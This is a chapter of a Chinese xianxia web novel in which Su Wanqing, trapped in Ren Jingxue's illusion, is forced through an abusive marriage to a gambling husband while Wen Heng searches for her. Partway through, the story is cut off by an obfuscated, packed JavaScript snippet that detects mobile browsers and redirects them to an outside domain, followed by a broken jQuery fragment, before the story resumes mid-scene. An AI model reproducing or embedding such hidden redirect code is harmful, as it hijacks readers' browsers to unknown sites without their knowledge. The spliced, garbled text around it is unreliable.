温衡心中顿时一紧,面上显露几许担忧之色,顷刻,他瞧了眼惊魂未定的崔瑶,不再迟疑,径直走出了立下的结界。
外面并无苏晚清与燕寒舟的身影。
他们会在哪?
寂静的旷野无一点动静,安静得不似一处曾居住过人的地方,连风声都变得微乎其微。遍地白骨,他随意拾起较为新鲜的骨头,仔细探查过后,发觉并非苏晚清,而是男骨,应当是刚才那个话多的弟子。
他随手一丢,不再在此处逗留。
穿过这一片尽数倒塌的建筑,他停在了最初的入口,稍稍莞尔,便抬手震碎了阻挡着的隐形屏障,碎裂成大大小小的蛇,皆朝他肆意而来。
温衡后退几步,身后一剑凝出百剑刺穿了群蛇,将其烧为灰烬,迈步走了进去,却不想在提步那刻,遇到了位身着嫁衣的女子,拦了他的路,说道:“你和他们两个是什么关系?他们急着找死,我不拦着,可你,我看着十分喜欢。公子觉得我美吗?”
“美,任姑娘顾盼生姿,巧笑倩兮,如何不美?”温衡脱口而出,他的目光渐渐移到任净雪的脸上,上面的妆容依旧是新娘妆,唇上的胭脂火红灿烈,若未滴的晨珠,很是诱人。
他的手逐渐上移,靠近任净雪的脸,刚想触及,任净雪就蹿地一下离去,在他身边转了一圈,回握着他的手,缓缓抚上自己的脸颊,眼神勾人得紧,她笑意晏晏,掩藏几分深不见底的心思。
“既然如此,公子要不要与我在一起?现在奉剑山庄、百阅派都是我和师父的,你和我在一起,一辈子都是荣华富贵。”任净雪另外一只手也攀上了温衡的脖子,将两人的距离拉得更近,耳畔都是她蛊惑的声音,“这些人都不识抬举,被我丢进了里面喂蛇。我觉得像公子这样识时务的人就该好好活着,考虑考虑?真的不喜欢我吗?”
任净雪的手绕到温衡的身后,五指张开,尖锐的利爪正欲刺穿他的后颈,却不想在下一刻反被温衡制住,弹在了地上,滚了圈再站起来面对温衡。
温衡拾起目光,目光下移,稍有几语戏谑之意:“任姑娘,不是说要与我成亲吗?怎么要杀我?果然啊,漂亮的姑娘最会骗人。”
“你,你为何还有灵力?这,这是我师父之物,你怎么会有?”任净雪刚想还手,便被男子手中旋转着的玉箫散出的光刃击中,瞬间被桎梏在原地,无法动弹,她嘴角渗着鲜血,忍不住问道。
温衡闻言瞧了眼手中的玉箫,走向任净雪,将其展现在她的眼前,顺道晃了晃,道:“成王败寇,李若酌输了就把它赔给我,现在归我所有,这怎么能是你师父的东西?”
他现在没空与任净雪周旋,他得进去看看苏晚清死没死,于是温衡也不等任净雪回答,而是先她一步走了进去。
“你这个无耻之徒!”
任净雪的声音远远落在身后,待温衡进入虚妄村后,她的立即挣脱了束缚,抹开嘴角的血,忽然笑了起来。
既然都来了,那就都好好玩玩。
血腥味蔓延在周围,云烟缭绕遮蔽了前路,未等他靠近,前方便传来什么东西的嘶吼,待迷雾散尽,一阵强光瞬间充斥这方地界。
他不禁紧闭双眼,眼睛顿时黑了起来。
光芒趋于消散那刻。
她的双眼缓缓睁开,自黑暗到明亮,只用了片刻,便觉已过几个时辰。
似有何物遮去了她的视线,借着屋里微弱的烛光只能看见些许泛着红色的光线,手腕传来阵阵疼痛,她瞥眼一看,竟是多了几道淤青。
苏晚清记得她和燕寒舟合力对付那物,她执剑刺入了巨蛇的七寸,面容沾了很多零星的血渍,顺着她的汗液一同坠入地底。
玄色迷烟来得极快,初时不觉,而后她和燕寒舟早在入村之时便已吸入了这烟,一时不查便昏厥过去倒在了地上。
恍恍惚惚间,她仍能感觉到任净雪提步而来,身边还跟着一个年长的老者,听任净雪说:“先别杀她,我想到一个很好玩的法子,既可以折磨苏晚清和燕寒舟,也能让师父如愿。就让他们,也尝尝我的苦楚!苏晚清亦是女子,我想看看她会怎么做。”
一切都来的太快,李若酌迟迟不肯现身,莫不是在等待一个杀她的时机,她得小心谨慎,以防贼人偷袭。
思忖良久,她的心脏像是被一把利刃扎了进来一般,疼痛唤醒了她的意志,手上显现出的灵力开始变得虚幻,渐渐接近消亡。
得再抓紧时间了。
此刻,她正坐在床上,头上有些沉重,还盖着块布。顿了会儿,她揭下布,起身离床,不经意间在暗黄色的铜镜里瞟了眼。
红妆粉饰,胭脂扣唇,一派新娘的行头,脸还是她的脸,但这一身都不是她所有。
“任净雪,你到底想做什么?”她在心中默默地道。
她瞧着自己这身嫁衣陷入了沉思,说是嫁衣,其实也不见得,只是在这件普通的红衣上面绣了只不伦不类的凤凰,乍看不觉是凤凰。
门外忽然一阵热闹,涌动的人声瞬间出现在了屋外,她也不打算回床上坐着,目光紧紧地盯着屋外,看着被人推搡进来的那位着新郎服的男子。
“朱兄啊,今日娶了美娇娘可别忘了我这个好友啊,明日还在老地方见面!你不来,我不走——”此人的声音听起来格外熟悉,她仔细一听,发觉竟是杨焕的声音,但再看那人模样时,竟是燕寒舟的长相……
除了燕寒舟,还有崔瑶以及前来奉剑山庄的各派人氏,他们似乎扮演着不同的人,全然没有了自己的思绪,跟着任净雪给的指引行动。
而那朱文聪便是与她成亲的夫君,瞧着身体纤细得不行,甚至比她还要瘦弱,眉眼间带着几分书卷气,其长相陌生得很,非熟悉的面孔。
朱文聪已经有了醉意,差点站不稳,将大手一挥,径直倒在了地上,他面色潮红,催促着众人离开,拉着杨焕道:“杨兄,明日,不醉不归。”
在离开之际,杨焕在朱文聪低语了几句,只见朱文聪脸色霎时变了色,瞪大了双眼,张口欲言,却难言,煞有心事地看着杨焕离开后一脸生气地一脚踹开房门,紧紧攥着苏晚清的手,却迟迟不语,顷刻过后,掉头离开了房间。
不明所以的苏晚清静静地看着他离开,挽留的话悬在嘴边,还是喊了出去:“朱文聪,今夜是我们的新婚之夜,你要去何处?”
朱文聪冷笑道:“你已是我的妻子,如今我便是你的天,我想去哪里你都没有过问的权利。”
“你什么意思?”她的口气也被那人语气带动,逐渐由最初的欣喜转为难过与生气,道,“当初是你要娶我,如今也才拜堂,你便如此待我,我抛弃一切随你入这穷山恶水的山村,这便是你对我的回报吗?夫君。”
这声“夫君”企图唤回从前的温存,可那男子依旧是副不耐烦的模样,态度也不比从前,“娘子,我这是想着用功读书,考取功名好叫你做那诰命夫人。”
未等她回复,朱文聪便快速地关上了门,这让她着实不解。答案很快便被揭晓,一连几日,朱文聪都会外出去一个地方——茶社。
这里美名其曰茶社,实则为纸醉金迷之地,每日来往的非贵即贫,这里坐庄的正是秋山派的大弟子一山。
她,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15899456|172794||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也就是“任净雪”寻着机会跟了上来,正巧赶上朱文聪被人踩在脚下,左手的筋已经被挑断,脸上也多了道血淋淋的疤痕,看着触目惊心。
“娘子,救我。”这个情形与当日在如意楼所发生的事格外相似,苏晚清本能地后退了一步,避开那只沾了血的手,目光徐徐向下,略见担忧之色,道:“夫君,你可有事?”
拿出块缝了几个口子的手帕替他擦了擦血。
“欠债还钱,天经地义。欠了钱,没有钱就断只手断只脚,下次看你还敢不敢装蒜。”面前走来一十分强壮的男人,枯黄的脸庞略鼓,她觉得地震了几下,接着听其人指着她道:“现在还剩只脚,你是他夫人?有钱还钱,没钱就再断只脚。”
“你,你好歹是修仙之人,如此为难我们,就不怕你师父怪罪?”苏晚清一边扶住朱文聪,心疼地看着,一边忍不住说道。
一山一把提起朱文聪的脖子,另外一只手执刀欲下,道:“师父教我按规矩做事,这个人和那姓杨的软性子喜欢装阔绰,输了钱,也有惩罚。姓朱的有什么好?臭书生一个,没胆识,没担当,还梦想考取功名,做他的春秋大梦!”
说罢,一山将人狠狠砸在地上,示意手下按住,挥着刀,寒光映射在她的脸上,几乎是在一瞬之间,她身体不受控制地挡在前面,颤抖着声音道:“多少钱?我给你。”
一山让人退下。
“三万两!银钱收讫,当面点清。”
她松了口气,但眼里依旧有畏惧之意,咽了咽口水,尽量使自己的声音听上去平稳一些:“好,你给我半月,我定凑来。”
“就半月,时间一到,我见不到钱,你和这个废物都得赔给我。”一山留下寥寥几语便将他们赶了出去。
街上来来往往的行人各怀心思地看着两人,心中腹诽而不宣之于口,匆匆瞥了眼便摇着头离开此地。
回到家中,她刚扶朱文聪坐下,面上便传来一个巴掌,快速而有力,她的脸上瞬间便多了一个巴掌印。
是她的婆婆朱氏。
“你一来就没有什么好事,可怜我的儿啊,这手就这么废了。”朱氏狠狠地瞪了她一眼,借着过来的间隙猛地将她推开,转向朱文聪时又是一副掉了肉的模样,心疼极了。
刚想回对方一巴掌却发现手被控制放了下来,随后打算质问对方的话到了嘴边就变成了委屈地询问:“婆婆,不是我的错,是夫君他……”
朱氏气得五官开始扭曲,看上去十分可怖,他的音调提得很高:“不是你还能有谁?我早知青楼女子不是好货,才进门就害我儿如此,我看就该把你赶出门去!”
她掌心的灵力开始消散,语气也不禁软了起来,“我,婆婆,文聪已经受伤,我现在不能走。”随后苏晚清刚想靠近却反被推到了地上,撞在了桌上的角。
这人,欺人太甚。
嘶……很痛,真想一掌拍死这对母子。苏晚清现在开始明白任净雪的意图了,无非就是要她也经历一遍这样的经历。
她眼神不受控制地向朱文聪求助。
朱文聪会了意,立即道:“娘,这事不是添香的搓球,我们现在欠了一山三万两,现在不是纠结这个的时候。”
朱氏心里一个咯噔,刚想问其中细节却见朱文聪按下其手,微微摇头,视线飘至她的身上。
“好,这次便不追问你的过错,但三万两的事你得办好,办不好就将你赶出去!”
苏晚清:“……”
好个仗势欺人的落魄人,专挑软柿子捏,这朱文聪也不见得是个好人,倒是挺会让旁人作恶,自己独坐高台。